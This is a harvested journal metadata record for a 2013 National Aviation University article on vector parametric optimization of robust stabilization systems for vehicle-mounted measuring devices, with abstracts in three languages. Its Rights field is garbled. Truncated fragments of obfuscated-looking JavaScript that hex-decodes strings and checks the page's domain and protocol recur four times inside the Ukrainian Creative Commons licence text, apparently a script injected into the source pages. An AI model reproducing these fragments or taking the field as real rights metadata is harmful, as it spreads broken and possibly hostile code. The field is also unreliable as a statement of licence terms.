NAU Harvester System
USAGE OF VECTOR PARAMETRIC OPTIMIZATION FOR ROBUST STABILIZATION OF GROUND VEHICLES INFORMATION-MEASURING DEVICES
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
USAGE OF VECTOR PARAMETRIC OPTIMIZATION FOR ROBUST STABILIZATION OF GROUND VEHICLES INFORMATION-MEASURING DEVICES
Векторная параметрическая оптимизация робастных систем стабилизации информационно-измерительних устройств наземных подвижных объектов Векторна параметрична оптимізація робастних систем стабілізації інформаційно-вимірювальних пристроїв наземних рухомих об’єктів |
|
| Creator |
Tunik, Anatoliy; National Aviation University
Sushchenko, Olga; National Aviation University |
|
| Subject |
—
information-measuring devices; robust systems; vector optimization 629.3.025.2 — векторная оптимизация; информационно-измерительные устройства; робастные системы стабилизации 629.3.025.2 — векторна оптимізація; інформаційно-вимірювальні пристрої; робастні системи стабілізації 629.3.025.2 |
|
| Description |
The statement of the vector robust parametric optimization problem taking into consideration two groups of constraints such as the stability conditions and the requirements to performance, as well as the uncertainties of the mathematical models of the controlled plant and external disturbances is represented. It was applied to the parametric synthesis of the robust system for stabilization of the information-measuring devices at the moving base is implemented. The interactive heuristic two-step procedure for this problem solution is proposed. Efficiency of the suggested procedure is proved by the simulation results
Рассмотрены особенности постановки задачи векторной параметрической оптимизации робастных систем стабилизации с учетом двух групп ограничений: условий устойчивости системы и предъявляемых к ней требований. Осуществлена векторизация критерия оптимизации робастной системы стабилизации информационно-измерительных устройств, эксплуатируемых на подвижных объектах. Предложена интерактивная эвристическая процедура решения этой задачи, состоящая из двух этапов. Эффективность предложенной процедуры подтверждена результатами моделирования. Розглянуто особливості постановки задачі векторної параметричної оптимізації робастних систем стабілізації з урахуванням двох груп обмежень: умов стійкості системи та виконання надаваних до неї технічних вимог. Здійснено векторизацію критерію оптимізації робастної системи стабілізації інформаційно-вимірювальних пристроїв, експлуатованих на рухомих об’єктах. Запропоновано інтерактивну евристичну процедуру розв’язання цієї задачі, що складається з двох етапів. Ефективність запропонованої процедури підтверджено результатами моделювання |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2013-12-30
|
|
| Type |
—
— — |
|
| Format |
application/pdf
application/pdf application/pdf |
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/5530
10.18372/2306-1472.57.5530 |
|
| Source |
Proceedings of the National Aviation University; Том 57, № 4 (2013); 23-32
Вестник Национального авиационного университета; Том 57, № 4 (2013); 23-32 Вісник Національного Авіаційного Університету; Том 57, № 4 (2013); 23-32 |
|
| Language |
uk
|
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access).// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e |
|